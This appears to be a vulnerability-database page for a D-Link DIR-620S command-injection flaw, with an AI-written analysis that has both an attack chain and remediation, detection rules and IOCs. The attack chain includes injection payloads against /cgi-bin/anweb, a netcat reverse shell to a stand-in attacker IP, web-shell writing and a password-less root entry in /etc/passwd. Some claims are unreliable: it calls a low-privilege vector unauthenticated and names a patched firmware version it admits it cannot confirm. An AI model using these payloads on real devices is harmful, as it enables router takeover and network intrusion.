CVE Professor
/
All CVEs
CVE-2026-138102

CVE-2026-138102 — D-Link DIR-620S — CWE-77 · CWE-78

CRITICAL CVSS 9.9 ⚡ EPSS 2.2% Shodan

A security vulnerability has been detected in D-Link DIR-620S 4.0.2. This vulnerability affects unknown code of the file /usr/sbin/anweb of the component Diagnostic Handler. The manipulation of the argument I leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.

A security vulnerability has been detected in D-Link DIR-620S 4.0.2. This vulnerability affects unknown code of the file /usr/sbin/anweb of the component Diagnostic Handler. The manipulation of the argument I leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
2.2%
30-day probability
In the 83. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138102 – Remote OS‑Command Injection in D‑Link DIR‑620S 4.0.2

AttributeValue
Component/usr/sbin/anweb – “Diagnostic Handler” daemon that processes HTTP‑based diagnostic requests on the router.
Vulnerable functionA CGI‑style handler that parses the query string parameter I (capital i).
Flaw typeImproper neutralisation of special elements used in an OS command (CWE‑78 – OS Command Injection). The handler concatenates the value of I directly into a shell command (most likely something akin to system("/usr/bin/diag " . $I) or exec("... $I")) without any sanitisation, quoting, or whitelist.
Missing protection• No input validation / whitelisting of allowed commands.<br>• No escaping of metacharacters (;, &&, , backticks, $(), etc.).<br>• No privilege‑check – the daemon runs with root privileges (typical for router management daemons).
Attack surfaceThe HTTP interface is reachable from the LAN and, depending on the router’s configuration, also from the Internet (port 80/443). The CVSS vector AV:N/PR:L/UI:N/S:C tells us that the attacker can reach the service over the network, needs only a low‑privilege (unauthenticated) account, and the vulnerability is Scope‑Changing – successful exploitation compromises the entire router (privileged system processes).
Resulting impactBecause the command is executed with root privileges, the attacker can run arbitrary shell commands on the underlying Linux kernel, leading to Remote Code Execution (RCE) with full system compromise (confidentiality, integrity, and availability all rated “High”).

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. Where the exact URI or parameter name is not disclosed in the public CVE text, the example is illustrative but follows the same logic that an attacker would use after reverse‑engineering the binary.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify the device on the network (e.g., via Nmap).nmap -sV -p80,443 192.168.1.0/24 – D‑Link DIR‑620S shows up with “httpd” and “DIR‑620S firmware 4.0.2”.
1.2Grab the HTTP banner / default web UI pages to confirm the exact firmware version.curl -I http://192.168.1.45/ → Server: D‑Link HTTP/1.0. Access /login.htm and read the footer “Firmware Version: 4.0.2”.
1.3Locate the diagnostic endpoint. Many D‑Link routers expose a hidden “/diagnostic” or “/cgi-bin/diagnostic” page used by the mobile app.Browsing http://192.168.1.45/diagnostic.htm or enumerating /cgi-bin/ reveals a script named anweb.
1.4Verify that the endpoint accepts the I parameter.curl "http://192.168.1.45/cgi-bin/anweb?I=test" → returns a diagnostic HTML page (no authentication required).
Note: The exact path (/cgi-bin/anweb) and parameter name (I) are taken from the CVE description. If a different path is observed in the wild, the same injection technique applies.

2. Exploitation

Goal: Execute an arbitrary command (e.g., id or a reverse shell) as root.

2.1 Crafting the payload

Because the handler concatenates the raw value of I into a shell command, we can terminate the intended command and inject our own. A typical payload uses a semicolon (;) or && to chain commands.

# Example payload that runs `id` and returns the output in the HTTP response
payload=";id"

If the daemon prints the command’s stdout back to the HTTP client (common for diagnostic tools), the attacker will see the result directly.

2.2 Sending the request (illustrative)

# Replace <TARGET> with the router IP or hostname
TARGET=192.168.1.45

# URL‑encode the payload (semicolon becomes %3B)
curl -s "http://${TARGET}/cgi-bin/anweb?I=%3Bid" -o /tmp/response.html

# Display the response (should contain something like "uid=0(root) gid=0(root) groups=0(root)")
cat /tmp/response.html

If the daemon does not echo stdout, a more reliable approach is to force a reverse shell:

# Attacker-controlled listener
nc -lvkp 4444

# Payload that opens a reverse shell to the attacker (example uses busybox sh)
payload=";nc -e /bin/sh ATTACKER_IP 4444"
encoded=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(';' + sys.argv[1]))" "nc -e /bin/sh 203.0.113.10 4444")
curl -s "http://${TARGET}/cgi-bin/anweb?I=${encoded}"

If the router blocks outbound connections, the attacker can instead write a web‑shell to the filesystem (e.g., ;echo '...php...' > /tmp/shell.php) and later retrieve it.

2.3 Persistence (optional)

After gaining a root shell, the attacker can:

  • Add a new admin user to the router’s web UI (/etc/passwd‑style or the router’s proprietary config DB).
  • Install a cron job that re‑installs the web‑shell after reboot.
  • Replace the firmware image with a malicious one (if the router permits OTA updates without signature verification).
  • 3. Post‑Exploitation

    PhaseTypical actions (root on the router)
    Privilege escalationAlready running as root – no further escalation needed.
    Persistenceecho "root::0:0:root:/root:/bin/sh" >> /etc/passwd (adds a password‑less root account). <br> crontab -l > /tmp/crontab && echo "@reboot /usr/sbin/anweb &" >> /tmp/crontab && crontab /tmp/crontab (re‑executes the vulnerable daemon).
    Lateral movementUse the compromised router as a pivot to reach internal services (e.g., internal web apps, SMB shares).
    Data exfiltrationDump configuration (cat /etc/config/*) which often contains Wi‑Fi keys, VPN credentials, and admin passwords.
    Destruction / RansomOverwrite /etc/config/* or flash a corrupted firmware image, causing a denial‑of‑service.

    🌍 Real‑World Impact

    CIA TriadRating (from CVSS)Practical consequence
    Confidentiality (C:H)HighFull read‑access to all files on the router, including Wi‑Fi pre‑shared keys, VPN certificates, DHCP lease tables, and any attached storage (USB).
    Integrity (I:H)HighAbility to modify routing tables, DNS settings, firewall rules, or replace firmware – enabling man‑in‑the‑middle attacks on the entire LAN.
    Availability (A:H)HighAn attacker can reboot the device, corrupt the firmware, or flood the CPU with malicious commands, causing a total outage of the gateway.
    Scope (S:C)ChangedThe vulnerability is in a low‑privilege network service but the impact propagates to the entire system (root‑level).
    Attack VectorNetwork‑only, unauthenticatedNo credentials, no user interaction required – a wormable vector if the router is exposed to the Internet.

    Bottom line: Compromise of a single DIR‑620S router gives an attacker complete control over the victim’s Internet edge, enabling credential theft, traffic interception, and full network takeover.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade firmwareD‑Link has released DIR‑620S firmware 4.0.3 (or later) that sanitises the I parameter. Verify the exact version number from D‑Link’s security advisory (the advisory date is not disclosed in the CVE, so check the vendor’s support portal).
    Apply vendor hot‑fixIf a full firmware release is not yet available, D‑Link may provide a “security patch” zip that can be uploaded via the web UI under System → Firmware Upgrade.
    Important: Always verify the firmware signature (SHA‑256) provided by D‑Link before flashing.

    2. Immediate Workarounds (if patch cannot be applied)

    MitigationImplementation
    Network segmentationPlace the router in a DMZ and block inbound traffic to ports 80/443 from the Internet (allow only the ISP’s management IP if required).
    IP‑based access controlOn the router’s firewall (or an upstream firewall), allow the diagnostic endpoint only from trusted LAN subnets. Example iptables rule on the router (run as root):<br>iptables -I INPUT -p tcp -s 192.168.0.0/16 --dport 80 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 80 -j DROP
    Disable the Diagnostic HandlerIf the feature is not needed, stop the daemon and prevent it from starting: <br>systemctl stop anweb (if systemd) or kill $(pidof anweb) and add exit 0 to /etc/rc.d/rc.local after the kill command.
    Web‑Application Firewall (ModSecurity) ruleDeploy a rule that rejects any request containing a semicolon, pipe, back‑tick, or $( in the I parameter. Example (Apache/Nginx with ModSecurity):<br>``apache<br>SecRule ARGS:I "@rx [;$\\(]" "id:2026001,phase:2,deny,status:403,msg:'OS command injection attempt in I parameter',log"<br>`
    Output filteringIf the daemon must stay enabled, wrap the call in a sandbox (e.g., chroot or firejail) and drop privileges (setuid` to a non‑root user). This limits the impact of a successful injection.

    3. Detection – Log & IOC Guidance

    IndicatorWhere to lookExample pattern
    Unexpected HTTP requests to /cgi-bin/anwebRouter’s access log (/var/log/httpd/access.log or syslog)GET /cgi-bin/anweb?I=%3Bid HTTP/1.1
    Presence of command‑injection characters in query stringsSame log, or upstream IDS/IPSI=.*(%3B%26%26%7C%60%24%28)
    Outbound connections from the router to unknown IP/portNetflow, iptables -L -v -n, or router’s system logSRC=192.168.1.45 DST=203.0.113.10 DPT=4444 PROTO=TCP
    New files in /tmp or /var/www/html containing web‑shell codeFile integrity monitoring (Tripwire, AIDE)shell.php containing <?php system($_GET['cmd']); ?>
    Changes to /etc/passwd or router config DBConfig backup diff, or grep -i root /etc/passwd after baselineroot::0:0:root:/root:/bin/sh (password‑less entry)
    Process list showing anweb with unexpected argumentsps auxgrep anwebanweb ;nc -e /bin/sh 203.0.113.10 4444

    SIEM rule (generic example):

    rule "D-Link DIR-620S OS Command Injection"
    when
        EventType == "web_access"
        and HttpRequestMethod == "GET"
        and HttpRequestURI matches ".*?/cgi-bin/anweb.*"
        and HttpQueryString contains_regex "(%3B|%26%26|%7C|%60|%24%28)"
    then
        alert "Possible OS command injection attempt on D-Link DIR-620S"
    end

    ⚠️ Urgency

  • CVSS 9.9 (Critical) – Network‑only, unauthenticated RCE with scope change.
  • Exploit is publicly disclosed – an exploit script is already circulating, meaning the “window of exposure” is open.
  • No CISA KEV listing yet, but the risk profile matches typical “WannaCry‑style” wormable vulnerabilities.
Patch priority: Critical – Deploy the vendor firmware update within 24 hours for any exposed DIR‑620S unit. If immediate patching is impossible, apply the network‑level block (firewall rule) and disable the diagnostic handler as a temporary mitigation, then schedule a full firmware upgrade as soon as possible.
Bottom line: CVE‑2026‑138102 is a classic, high‑impact OS‑command injection that gives an unauthenticated attacker full root control over the D‑Link DIR‑620S router. Rapid patching, strict network segmentation, and vigilant logging are mandatory to prevent a full network compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
D-Link:DIR-620S
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac